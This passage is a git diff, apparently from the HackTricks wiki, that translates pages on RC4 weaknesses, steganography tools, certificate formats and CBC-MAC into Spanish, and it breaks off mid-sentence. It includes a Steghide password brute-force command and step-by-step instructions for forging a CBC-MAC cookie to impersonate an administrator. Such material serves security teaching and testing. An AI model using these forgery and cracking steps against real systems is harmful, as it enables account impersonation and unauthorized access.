a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index dc89fa296..429b13054 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +Si puedes de alguna manera cifrar un texto plano usando RC4, puedes descifrar cualquier contenido cifrado por ese RC4 (usando la misma contraseña) solo utilizando la función de cifrado. -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +Si puedes cifrar un texto plano conocido, también puedes extraer la contraseña. Más referencias se pueden encontrar en la máquina HTB Kryptos: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/crypto-and-stego/stego-tricks.md b/src/crypto-and-stego/stego-tricks.md index 91ed86406..f5e34e9ff 100644 --- a/src/crypto-and-stego/stego-tricks.md +++ b/src/crypto-and-stego/stego-tricks.md @@ -2,50 +2,41 @@ {{#include ../banners/hacktricks-training.md}} -## **Extracting Data from Files** +## **Extracción de Datos de Archivos** ### **Binwalk** -A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk). - +Una herramienta para buscar archivos binarios en busca de archivos y datos ocultos incrustados. Se instala a través de `apt` y su código fuente está disponible en [GitHub](https://github.com/ReFirmLabs/binwalk). ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data binwalk --dd ".*" file # Extracts all data ``` - ### **Foremost** -Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost). - +Recupera archivos basados en sus encabezados y pies de página, útil para imágenes png. Instalado a través de `apt` con su fuente en [GitHub](https://github.com/korczis/foremost). ```bash foremost -i file # Extracts data ``` - ### **Exiftool** -Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/). - +Ayuda a ver los metadatos del archivo, disponible [aquí](https://www.sno.phy.queensu.ca/~phil/exiftool/). ```bash exiftool file # Shows the metadata ``` - ### **Exiv2** -Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/). - +Similar a exiftool, para la visualización de metadatos. Instalado a través de `apt`, código fuente en [GitHub](https://github.com/Exiv2/exiv2), y tiene un [sitio web oficial](http://www.exiv2.org/). ```bash exiv2 file # Shows the metadata ``` +### **Archivo** -### **File** +Identifica el tipo de archivo con el que estás tratando. -Identify the type of file you're dealing with. - -### **Strings** - -Extracts readable strings from files, using various encoding settings to filter the output. +### **Cadenas** +Extrae cadenas legibles de archivos, utilizando varias configuraciones de codificación para filtrar la salida. ```bash strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file | head -n 20 # First 20 strings @@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian) strings -e L -n 6 file # 32bit strings (little-endian) strings -e B -n 6 file # 32bit strings (big-endian) ``` +### **Comparación (cmp)** -### **Comparison (cmp)** - -Useful for comparing a modified file with its original version found online. - +Útil para comparar un archivo modificado con su versión original encontrada en línea. ```bash cmp original.jpg stego.jpg -b -l ``` +## **Extracción de Datos Ocultos en Texto** -## **Extracting Hidden Data in Text** +### **Datos Ocultos en Espacios** -### **Hidden Data in Spaces** +Los caracteres invisibles en espacios aparentemente vacíos pueden ocultar información. Para extraer estos datos, visita [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). -Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). +## **Extracción de Datos de Imágenes** -## **Extracting Data from Images** - -### **Identifying Image Details with GraphicMagick** - -[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image: +### **Identificación de Detalles de Imágenes con GraphicMagick** +[GraphicMagick](https://imagemagick.org/script/download.php) sirve para determinar los tipos de archivos de imagen e identificar posibles corrupciones. Ejecuta el siguiente comando para inspeccionar una imagen: ```bash ./magick identify -verbose stego.jpg ``` - -To attempt repair on a damaged image, adding a metadata comment might help: - +Para intentar reparar una imagen dañada, agregar un comentario de metadatos podría ayudar: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` +### **Steghide para la Ocultación de Datos** -### **Steghide for Data Concealment** +Steghide facilita ocultar datos dentro de archivos `JPEG, BMP, WAV y AU`, capaz de incrustar y extraer datos encriptados. La instalación es sencilla usando `apt`, y su [código fuente está disponible en GitHub](https://github.com/StefanoDeVuono/steghide). -Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide). +**Comandos:** -**Commands:** +- `steghide info file` revela si un archivo contiene datos ocultos. +- `steghide extract -sf file [--passphrase password]` extrae los datos ocultos, la contraseña es opcional. -- `steghide info file` reveals if a file contains hidden data. -- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional. +Para la extracción basada en la web, visita [este sitio web](https://futureboy.us/stegano/decinput.html). -For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html). - -**Bruteforce Attack with Stegcracker:** - -- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows: +**Ataque de Fuerza Bruta con Stegcracker:** +- Para intentar romper la contraseña en Steghide, usa [stegcracker](https://github.com/Paradoxis/StegCracker.git) de la siguiente manera: ```bash stegcracker [] ``` +### **zsteg para archivos PNG y BMP** -### **zsteg for PNG and BMP Files** +zsteg se especializa en descubrir datos ocultos en archivos PNG y BMP. La instalación se realiza a través de `gem install zsteg`, con su [código fuente en GitHub](https://github.com/zed-0xff/zsteg). -zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg). +**Comandos:** -**Commands:** +- `zsteg -a file` aplica todos los métodos de detección en un archivo. +- `zsteg -E file` especifica una carga útil para la extracción de datos. -- `zsteg -a file` applies all detection methods on a file. -- `zsteg -E file` specifies a payload for data extraction. +### **StegoVeritas y Stegsolve** -### **StegoVeritas and Stegsolve** +**stegoVeritas** verifica los metadatos, realiza transformaciones de imagen y aplica fuerza bruta LSB, entre otras características. Usa `stegoveritas.py -h` para una lista completa de opciones y `stegoveritas.py stego.jpg` para ejecutar todas las verificaciones. -**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks. +**Stegsolve** aplica varios filtros de color para revelar textos o mensajes ocultos dentro de las imágenes. Está disponible en [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). -**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). +### **FFT para detección de contenido oculto** -### **FFT for Hidden Content Detection** - -Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include: +Las técnicas de Transformada Rápida de Fourier (FFT) pueden revelar contenido oculto en imágenes. Los recursos útiles incluyen: - [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) - [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) -- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic) +- [FFTStegPic en GitHub](https://github.com/0xcomposure/FFTStegPic) -### **Stegpy for Audio and Image Files** +### **Stegpy para archivos de audio e imagen** -Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy). +Stegpy permite incrustar información en archivos de imagen y audio, soportando formatos como PNG, BMP, GIF, WebP y WAV. Está disponible en [GitHub](https://github.com/dhsdshdhk/stegpy). -### **Pngcheck for PNG File Analysis** - -To analyze PNG files or to validate their authenticity, use: +### **Pngcheck para análisis de archivos PNG** +Para analizar archivos PNG o validar su autenticidad, usa: ```bash apt-get install pngcheck pngcheck stego.png ``` +### **Herramientas Adicionales para Análisis de Imágenes** -### **Additional Tools for Image Analysis** - -For further exploration, consider visiting: +Para una exploración adicional, considera visitar: - [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) - [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) @@ -153,66 +133,60 @@ For further exploration, consider visiting: - [OpenStego](https://www.openstego.com/) - [DIIT](https://diit.sourceforge.net/) -## **Extracting Data from Audios** +## **Extracción de Datos de Audios** -**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content. +**La esteganografía de audio** ofrece un método único para ocultar información dentro de archivos de sonido. Se utilizan diferentes herramientas para incrustar o recuperar contenido oculto. ### **Steghide (JPEG, BMP, WAV, AU)** -Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide). +Steghide es una herramienta versátil diseñada para ocultar datos en archivos JPEG, BMP, WAV y AU. Se proporcionan instrucciones detalladas en la [documentación de trucos de esteganografía](stego-tricks.md#steghide). ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** -This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). +Esta herramienta es compatible con una variedad de formatos, incluyendo PNG, BMP, GIF, WebP y WAV. Para más información, consulta la [sección de Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). ### **ffmpeg** -ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies. - +ffmpeg es crucial para evaluar la integridad de los archivos de audio, destacando información detallada y señalando cualquier discrepancia. ```bash ffmpeg -v info -i stego.mp3 -f null - ``` - ### **WavSteg (WAV)** -WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include: - +WavSteg se destaca en ocultar y extraer datos dentro de archivos WAV utilizando la estrategia del bit menos significativo. Está disponible en [GitHub](https://github.com/ragibson/Steganography#WavSteg). Los comandos incluyen: ```bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile ``` - ### **Deepsound** -Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx). +Deepsound permite la encriptación y detección de información dentro de archivos de sonido utilizando AES-256. Se puede descargar desde [the official page](http://jpinsoft.net/deepsound/download.aspx). ### **Sonic Visualizer** -An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more. +Una herramienta invaluable para la inspección visual y analítica de archivos de audio, Sonic Visualizer puede revelar elementos ocultos indetectables por otros medios. Visita el [official website](https://www.sonicvisualiser.org/) para más información. ### **DTMF Tones - Dial Tones** -Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html). +Detectar tonos DTMF en archivos de audio se puede lograr a través de herramientas en línea como [this DTMF detector](https://unframework.github.io/dtmf-detect/) y [DialABC](http://dialabc.com/sound/detect/index.html). ## **Other Techniques** ### **Binary Length SQRT - QR Code** -Binary data that squares to a whole number might represent a QR code. Use this snippet to check: - +Los datos binarios que se elevan al cuadrado para dar un número entero podrían representar un código QR. Usa este fragmento para verificar: ```python import math math.sqrt(2500) #50 ``` +Para la conversión de binario a imagen, consulta [dcode](https://www.dcode.fr/binary-image). Para leer códigos QR, utiliza [este lector de códigos de barras en línea](https://online-barcode-reader.inliteresearch.com/). -For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/). +### **Traducción de Braille** -### **Braille Translation** +Para traducir Braille, el [Branah Braille Translator](https://www.branah.com/braille-translator) es un excelente recurso. -For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource. - -## **References** +## **Referencias** - [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) - [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md index 622b48c61..35615889f 100644 --- a/src/cryptography/certificates.md +++ b/src/cryptography/certificates.md @@ -1,47 +1,38 @@ -# Certificates +# Certificados {{#include ../banners/hacktricks-training.md}} -
+## Qué es un Certificado -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Un **certificado de clave pública** es una identificación digital utilizada en criptografía para probar que alguien posee una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible la comunicación segura con el propietario de la clave. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) en una [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Otro método es la [web de confianza](https://en.wikipedia.org/wiki/Web_of_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas como se detalla en el RFC 5280. -## What is a Certificate +## Campos Comunes de x509 -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +### **Campos Comunes en Certificados x509** -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +En los certificados x509, varios **campos** juegan roles críticos para asegurar la validez y seguridad del certificado. Aquí hay un desglose de estos campos: -## x509 Common Fields +- **Número de Versión** significa la versión del formato x509. +- **Número de Serie** identifica de manera única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones. +- El campo **Sujeto** representa al propietario del certificado, que podría ser una máquina, un individuo o una organización. Incluye identificación detallada como: +- **Nombre Común (CN)**: Dominios cubiertos por el certificado. +- **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S, o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos. +- **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto. +- **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA. +- El **Período de Validez** está marcado por las marcas de tiempo **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una cierta fecha. +- La sección de **Clave Pública**, crucial para la seguridad del certificado, especifica el algoritmo, tamaño y otros detalles técnicos de la clave pública. +- Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso de Clave Extendida**, **Nombre Alternativo del Sujeto** y otras propiedades para afinar la aplicación del certificado. -### **Common Fields in x509 Certificates** - -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: - -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. - -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **Uso de Clave y Extensiones** +- **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como la firma digital o el cifrado de clave. +- **Uso de Clave Extendida** delimita aún más los casos de uso del certificado, por ejemplo, para la autenticación de servidores TLS. +- **Nombre Alternativo del Sujeto** y **Restricción Básica** definen nombres de host adicionales cubiertos por el certificado y si es un certificado de CA o de entidad final, respectivamente. +- Identificadores como **Identificador de Clave del Sujeto** y **Identificador de Clave de Autoridad** aseguran la unicidad y trazabilidad de las claves. +- **Acceso a Información de Autoridad** y **Puntos de Distribución de CRL** proporcionan rutas para verificar la CA emisora y comprobar el estado de revocación del certificado. +- **SCTs de Precertificado CT** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado. ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,133 +54,104 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **Diferencia entre OCSP y Puntos de Distribución de CRL** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado digital de clave pública ha sido revocado, sin necesidad de descargar el **CRL** completo. Este método es más eficiente que el **CRL** tradicional, que proporciona una lista de números de serie de certificados revocados pero requiere descargar un archivo potencialmente grande. Los CRLs pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **Qué es la Transparencia de Certificados** -### **What is Certificate Transparency** +La Transparencia de Certificados ayuda a combatir amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, CAs y usuarios. Sus objetivos son: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- Prevenir que las CAs emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio. +- Establecer un sistema de auditoría abierto para rastrear certificados emitidos por error o de manera maliciosa. +- Proteger a los usuarios contra certificados fraudulentos. -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **Registros de Certificados** -#### **Certificate Logs** +Los registros de certificados son registros auditables públicamente, de solo adición, de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas para fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para verificación. Si bien el número exacto de servidores de registro no es fijo, se espera que sea menos de mil a nivel mundial. Estos servidores pueden ser gestionados de manera independiente por CAs, ISPs o cualquier entidad interesada. -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +#### **Consulta** -#### **Query** +Para explorar los registros de Transparencia de Certificados para cualquier dominio, visita [https://crt.sh/](https://crt.sh). -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +Existen diferentes formatos para almacenar certificados, cada uno con sus propios casos de uso y compatibilidad. Este resumen cubre los formatos principales y proporciona orientación sobre la conversión entre ellos. -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +## **Formatos** -## **Formats** +### **Formato PEM** -### **PEM Format** +- Formato más utilizado para certificados. +- Requiere archivos separados para certificados y claves privadas, codificados en Base64 ASCII. +- Extensiones comunes: .cer, .crt, .pem, .key. +- Utilizado principalmente por Apache y servidores similares. -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +### **Formato DER** -### **DER Format** +- Un formato binario de certificados. +- Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en los archivos PEM. +- Extensiones comunes: .cer, .der. +- A menudo utilizado con plataformas Java. -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +### **Formato P7B/PKCS#7** -### **P7B/PKCS#7 Format** +- Almacenado en Base64 ASCII, con extensiones .p7b o .p7c. +- Contiene solo certificados y certificados de cadena, excluyendo la clave privada. +- Soportado por Microsoft Windows y Java Tomcat. -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +### **Formato PFX/P12/PKCS#12** -### **PFX/P12/PKCS#12 Format** +- Un formato binario que encapsula certificados de servidor, certificados intermedios y claves privadas en un solo archivo. +- Extensiones: .pfx, .p12. +- Utilizado principalmente en Windows para la importación y exportación de certificados. -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +### **Conversión de Formatos** -### **Converting Formats** - -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**Las conversiones PEM** son esenciales para la compatibilidad: +- **x509 a PEM** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEM a DER** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DER a PEM** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM a P7B** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7 a PEM** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**Las conversiones PFX** son cruciales para gestionar certificados en Windows: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX a PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX a PKCS#8** implica dos pasos: +1. Convertir PFX a PEM ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. Convertir PEM a PKCS8 ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B a PFX** también requiere dos comandos: +1. Convertir P7B a CER ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. Convertir CER y clave privada a PFX ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +--- {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..f3896c646 100644 --- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +Si la **cookie** es **solo** el **nombre de usuario** (o la primera parte de la cookie es el nombre de usuario) y deseas suplantar el nombre de usuario "**admin**". Entonces, puedes crear el nombre de usuario **"bdmin"** y **bruteforce** el **primer byte** de la cookie. # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**Código de autenticación de mensaje de encadenamiento de bloques cifrados** (**CBC-MAC**) es un método utilizado en criptografía. Funciona tomando un mensaje y cifrándolo bloque por bloque, donde el cifrado de cada bloque está vinculado al anterior. Este proceso crea una **cadena de bloques**, asegurando que cambiar incluso un solo bit del mensaje original conducirá a un cambio impredecible en el último bloque de datos cifrados. Para hacer o revertir tal cambio, se requiere la clave de cifrado, asegurando la seguridad. -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +Para calcular el CBC-MAC del mensaje m, se cifra m en modo CBC con un vector de inicialización cero y se mantiene el último bloque. La siguiente figura esboza el cálculo del CBC-MAC de un mensaje que comprende bloques![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) utilizando una clave secreta k y un cifrador de bloques E: ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() -# Vulnerability +# Vulnerabilidad -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +Con CBC-MAC, generalmente el **IV utilizado es 0**.\ +Este es un problema porque 2 mensajes conocidos (`m1` y `m2`) generarán independientemente 2 firmas (`s1` y `s2`). Así que: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +Entonces, un mensaje compuesto por m1 y m2 concatenados (m3) generará 2 firmas (s31 y s32): - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**Lo cual es posible calcular sin conocer la clave del cifrado.** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +Imagina que estás cifrando el nombre **Administrator** en bloques de **8bytes**: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +Puedes crear un nombre de usuario llamado **Administ** (m1) y recuperar la firma (s1).\ +Luego, puedes crear un nombre de usuario llamado el resultado de `rator\00\00\00 XOR s1`. Esto generará `E(m2 XOR s1 XOR 0)` que es s32.\ +Ahora, puedes usar s32 como la firma del nombre completo **Administrator**. -### Summary +### Resumen -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. Obtén la firma del nombre de usuario **Administ** (m1) que es s1 +2. Obtén la firma del nombre de usuario **rator\x00\x00\x00 XOR s1 XOR 0** que es s32**.** +3. Establece la cookie a s32 y será una cookie válida para el usuario **Administrator**. -# Attack Controlling IV +# Ataque Controlando IV -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user 